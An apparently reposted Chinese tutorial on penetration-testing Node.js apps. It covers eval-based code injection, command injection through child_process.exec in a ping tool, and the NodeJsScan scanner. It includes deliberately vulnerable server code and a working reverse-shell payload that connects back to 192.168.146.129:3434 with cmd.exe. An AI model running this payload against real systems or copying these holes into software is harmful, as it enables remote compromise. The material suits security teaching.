从零开始学习渗透Node.js应用程序

本文来源于i春秋学院,未经允许严禁转载

0x01 介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。Node.js使用Module模块去划分不同的功能,以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node.js的类库都包含了十分丰富的各类函数,比如http模块就包含了和http功能相关的很多函数,可以帮助开发者很容易地对比如http,tcp/udp等进行操作,还可以很容易的创建http和tcp/udp的服务器。

0x02 Node.js安装配置

这里我主要给大家演示在Windows Sever 2008 R2 x64系统上安装Node.js的方法。

官网:https://nodejs.org/en/download/ 下载软件。

下载完成后运行,然后一直Next就好了。

<ignore_js_op>

最后点击Finish。

检查环境变量:

<ignore_js_op>

我们可以看到环境变量中已经包含了

C:\Program Files\nodejs\

牛刀小试:创建第一个Node.js应用

我们使用PHP来开发web服务时,需要Apache这样的Web容器。不过对Node.js 来说,概念完全不一样了。使用 Node.js 时,我们不仅仅在实现一个应用,同时还实现了整个 HTTP 服务器。事实上,我们的 Web 应用以及对应的 Web 服务器基本上是一样的。

我们以创建一个输出hello world的Node.js应用为例子。

在Node.js中,我们以require指令来载入模块,既然我们要创建HTTP服务器,所以我们要来载入模块HTTP:

[JavaScript] 纯文本查看 复制代码

?


01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

var http = require("http");

然后我们使用http模块的createServer()方法来创建服务器:

var http = require(‘http‘);  

http.createServer(function (request, response) {

    // 发送 HTTP 头部

    // HTTP 状态值: 200 : OK

    // 内容类型: text/plain

    response.writeHead(200, {‘Content-Type‘: ‘text/plain‘});

    // 发送响应数据 "Hello World"

    response.end(‘Hello World\n‘);

}).listen(80);

// 终端打印如下信息

console.log(‘Server running at [url]http://127.0.0.1/[/url]);

命令运行脚本:

<ignore_js_op>

然后我们在另一台机器上访问看看,注意关闭防火墙:

<ignore_js_op>

0x02 服务端代码注入

Node.js的代码注入与PHP代码注入差不多,同样是围绕着eval函数,所以,如果在你的代码中存在eval函数,而且其中的参数是可控的话,那你就危险了。代码注入漏洞的危害很大,可以直接获得一个Shell。

demo代码:

[JavaScript] 纯文本查看 复制代码

?


01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

var http = require(‘http‘);

var url = require(‘url‘);

var util = require(‘util‘);

http.createServer(function (req, res) {

    res.writeHead(200, {‘Content-Type‘: ‘text/html‘})

    var params = url.parse(req.url, true).query;

    res.write("<html><head><meta charset=‘utf-8‘ /><title>Test</title></head><body>");

    var a = params.a;

    var b = params.b;

    var s =a + b;

    res.write("结果:" + a + "+" + b +"=" + s);

    res.write("</body></html>");

    res.end();

}).listen(80);

// 终端打印如下信息

console.log(‘Server running at [url]http://127.0.0.1/[/url]);

这个代码就是计算输入的两个数之和,但是两个变量的类型都是字符串,所以相加的结果是字符串连接:

<ignore_js_op>

这里就想着用eval函数转换输入的参数类型。

最终demo代码:

[JavaScript] 纯文本查看 复制代码

?


01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

var http = require(‘http‘);

var url = require(‘url‘);

var util = require(‘util‘);

http.createServer(function (req, res) {

    res.writeHead(200, {‘Content-Type‘: ‘text/html‘})

    var params = url.parse(req.url, true).query;

    res.write("<html><head><meta charset=‘utf-8‘ /><title>Test</title></head><body>");

    var a = eval(params.a);

    var b = eval(params.b);

    var s =a + b;

    res.write("结果:" + a + "+" + b +"=" + s);

    res.write("</body></html>");

    res.end();

}).listen(80);

// 终端打印如下信息

console.log(‘Server running at [url]http://127.0.0.1/[/url]);

然后得到的结果就是两数之和了:

<ignore_js_op>

但是因为使用了eval函数也就导致了代码注入,我们可以构建一个反弹shell执行。

反弹shell代码:

[JavaScript] 纯文本查看 复制代码

?


01

02

03

04

05

06

07

08

09

10

11

12

function tan(){

    var net = require("net"),

        cp = require("child_process"),

        cmd = cp.spawn("cmd.exe", []);

    var client = new net.Socket();

    client.connect(3434, "192.168.146.129", function(){

        client.pipe(cmd.stdin);

        cmd.stdout.pipe(client);

        cmd.stderr.pipe(client);

    });

    return 1;

}tan();

我们先使用nc来监听本地端口3434:

<ignore_js_op>

然后在web端利用漏洞进行代码注入:

<ignore_js_op>

然后成功反弹shell:

<ignore_js_op>

0x03 系统命令执行

在Node.js中,系统命令执行漏洞一般由模块 child_process 的函数引起的,child_process即子进程可以创建一个系统子进程并执行shell命令。

demo-创建一个ping工具:

[JavaScript] 纯文本查看 复制代码

?


01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

var http = require(‘http‘);

var url = require(‘url‘);

var util = require(‘util‘);

var child_process = require(‘child_process‘);

var iconv = require(‘iconv-lite‘);

var encoding = ‘cp936‘;

var binaryEncoding = ‘binary‘;

http.createServer(function (req, res) {

    res.writeHead(200, {‘Content-Type‘: ‘text/html‘})

    var params = url.parse(req.url, true).query;

    res.write("<html><head><meta charset=‘utf-8‘ /><title>Test</title></head><body>");

    child_process.exec(‘ping ‘+params.ip, { encoding: binaryEncoding }, function(err, stdout, stderr){

    res.write(iconv.decode(new Buffer(stdout, binaryEncoding), encoding), iconv.decode(new Buffer(stderr, binaryEncoding), encoding));

});

    res.write("</body></html>");

}).listen(80);

// 终端打印如下信息

console.log(‘Server running at [url]http://127.0.0.1/[/url]);

演示:

<ignore_js_op>

命令注入:

<ignore_js_op>

0x04 NodeJsScan

NodeJsScan是 Ajin Abraham 开发的一款静态代码分析工具。它使用了大量的正则表达式规则来扫描可能的漏洞代码和不安全的配置,同时允许用户扩展自己的功能。

项目地址:https://github.com/ajinabraham/NodeJsScan

此工具是基于python开发的,首先我们需要安装一下所需模块

pip install -r requirements.txt
所需模块都在工具主目录下的requirements.txt中:

<ignore_js_op>

注意本工具需要postgresql数据库,所以我们还需要下载安装postgresql数据库。

创建数据库:

python createdb.py

数据库设置在core/settings.py文件中

运行

python app.py

然后在http://0.0.0.0:9090打开,注意要设置DEBUG = True

<ignore_js_op>

0x05 总结

大部分的漏洞都是源于不安全的用户输入。所以,要坚持一切用户输入都是有害的法则,针对用户的一切输入进行过滤。确保使用了合适的中间件来避免不可信的流程。

0x06 参考文章

1、渗透基础一
2、渗透基础二

时间: 2024-08-24 11:08:18

从零开始学习渗透Node.js应用程序的相关文章

方便大家学习的Node.js教程(一):理解Node.js

理解Node.js 为了理解Node.js是如何工作的,首先你需要理解一些使得Javascript适用于服务器端开发的关键特性.Javascript是一门简单而又灵活的语言,这种灵活性让它能够经受住时间的考验.函数.闭包等特性使Javascript成为一门适合Web开发的理想语言. 有一种偏见认为Javascript是不可靠的,然而事实并非如此.人们对Javascript的偏见来源于DOM,DOM是浏览器厂商提供的用于Javascript与浏览器交互的API,不同浏览器厂商实现的DOM存在差异.

nodejs学习四 Node.js NPM

什么是NPM? 不知道大家注意没有,windows平台下的Node.js安装包大小才区区4M多,真可以用短小精悍来形容它,作为一种编程语言,像java一个SDK 就几十M,为什么node.js的运行环境这么小呢?这其中的微妙之处在于,它拥有一个庞大的第三方软件库. 在Node本身提供的包(原生)中没有我们要实现的功能模块的时候,我们可以去寻找下是否已经有人实现了这种功能.毕竟重复造轮子这种事情,很多人都不想干. 去哪里寻找我们想要的包呢?如果你还不知道报的名字,你可以去https://www.n

在 Web 应用中创建 Node.js 应用程序

本分步指南将通过 Azure Web 应用帮助您启动并运行示例 Node.JS 应用程序.除 Node.JS 外,Azure Web 应用还支持其他语言,如 PHP..NET.Node.JS.Python.Ruby 等,本教程重点介绍了 Java(其他语言将遵循同样的流程).在本教程中完成的所有操作均符合 1元试用条件. 开始之前 运行本示例之前,请在本地安装以下必备组件: 下载并安装 git 下载并安装 Node.js 和 NPM 下载并安装 Azure CLI 2.0 如果没有 Azure

node js 获取程序执行时间 time timeEnd

node js 获取程序执行时间 time timeEnd 示例代码: function getFunRunTime(){ console.time('test'); let temp; for (let index = 0; index < 10000; index++) { temp += index } // time和timeEnd的参数要相同 console.timeEnd('test'); } getFunRunTime(); 控制台输出: test: 0.384765625ms 原

(四)、node.js对于程序的调试

Node.js 支持命令行下的单步调试.下面是一个简单的程序: var a = 1; var b = 'world';  var c = function(x) {   console.log('hello ' + x + a); }; c(b); 在命令行下执行 node debug debug.js,将会启动调试工具: Node.js 调试命令 输入 n 表示下一行 输入 sb('debug.js', 4) 表示在函数的第四行设置断点 使用elipse调试 在使用 Eclipse 之前,首先

nodejs学习笔记Node.js 调试命令

3.4  调试        47 下面是一个简单的例子: $ node debug debug.js < debugger listening on port 5858 connecting... ok break in /home/byvoid/debug.js:11 var a = 1; 2 var b = 'world'; 3 var c = function (x) { debug> n break in /home/byvoid/debug.js:21 var a = 1; 2 v

最近学习的 Node.js 之 http

利用 http 模块开始写简单的web服务. 模块: const http=require('http'); const fs=require('fs'); const path=require('path'); function startServer() { let onRequest=function (req,res) { console.log('recived a request.'); res.writeHead(200,{'Content-Type':'text/html'});

[学习笔记]node.js中的path.extname方法

path.extname 返回path路径文件扩展名,如果path以 '.' 为结尾,将返回 '.',如果无扩展名 又 不以'.'结尾,将返回空值. path.extname('index.html'): // returns '.html' path.extname('index.'): // returns '.' path.extname('index'): // returns ''

Node.js 学习一

Node.js是一个可以让javascript运行在服务器端的平台.node.js是一个为实时web应用开发而诞生的平台,它考虑到了实时响应/超大规模数据要求下架构的可扩展性.它采用了单线程,异步石IO,事件驱动式的设计模式. Node.js有着强大而灵活的包管理器(node package manager)npm node.js 架构设计:1,异步式I/O,事件驱动 2,V8引擎作为javascript引擎 3,高效的libev事件驱动库 4,高效的libeio异步I/O库 CommonJS: